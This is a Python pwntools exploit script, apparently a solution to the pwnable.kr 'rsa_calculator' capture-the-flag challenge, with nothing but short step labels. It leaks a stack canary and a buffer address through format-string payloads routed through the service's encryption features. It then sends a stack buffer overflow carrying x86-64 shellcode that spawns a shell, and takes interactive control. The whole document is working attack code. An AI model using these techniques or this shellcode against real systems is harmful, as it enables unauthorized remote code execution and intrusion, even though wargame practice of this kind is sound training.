#!/usr/bin/python
from pwn import *

p = str(61)
q = str(53)
e = str(17)
d = str(2753)

#P = process("./rsa_calculator")
P = remote("pwnable.kr", 9012)
print P.recvuntil("> ")

#1. set p,q,e,d
P.sendline("1")
P.sendline(p)
P.sendline(q)
P.sendline(e)
P.sendline(d)
print P.recvuntil("> ")

################################################
#2. get encrypted "%205$p" -> position of canary
payload = "%205$p"
P.sendline("2")
print P.recvuntil(": ")
P.sendline(str(len(payload)))
print P.recvuntil("data\n")
P.sendline(payload)
r1 = P.recvline()
r2 = P.recvline()
print r1
print r2
print P.recvuntil("> ")

#3. get canary of RSA_decrypt
P.sendline("3")
print P.recvuntil(": ")
P.sendline(str(len(r2[:-1])))
print P.recvuntil("data\n")
P.sendline(r2[:-1])
r1 = P.recvline()
r2 = P.recvline()
print r1
print r2
print P.recvuntil("> ")

canary = r2[:-1]

################################################

#4. get encrypted "%34$p" to get buf addr
payload = "%34$p"
P.sendline("2")
P.sendline(str(len(payload)))
print P.recvuntil("data\n")
P.sendline(payload)
r1 = P.recvline()
r2 = P.recvline()
print r1
print r2
print P.recvuntil("> ")

#5. get buf addr
P.sendline("3")
print P.recvuntil(": ")
P.sendline(str(len(r2[:-1])))
print P.recvuntil("data\n")
P.sendline(r2[:-1])
r1 = P.recvline()
r2 = P.recvline()
print r1
print r2
print P.recvuntil("> ")

buf_addr = int(r2[:-1],16)-0xc0

###############################################
#6. BOF
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload="\x90"*100+shellcode +"\x90"*(1544-100-len(shellcode))+ p64(int(canary,16)) + "a"*8 + p64(buf_addr)
#time.sleep(20)
P.sendline("3")
print P.recvuntil(": ")
P.sendline("-1")
print P.recvuntil("data\n")
P.sendline(payload)
#print P.recvuntil(">")
P.interactive()
P.close()

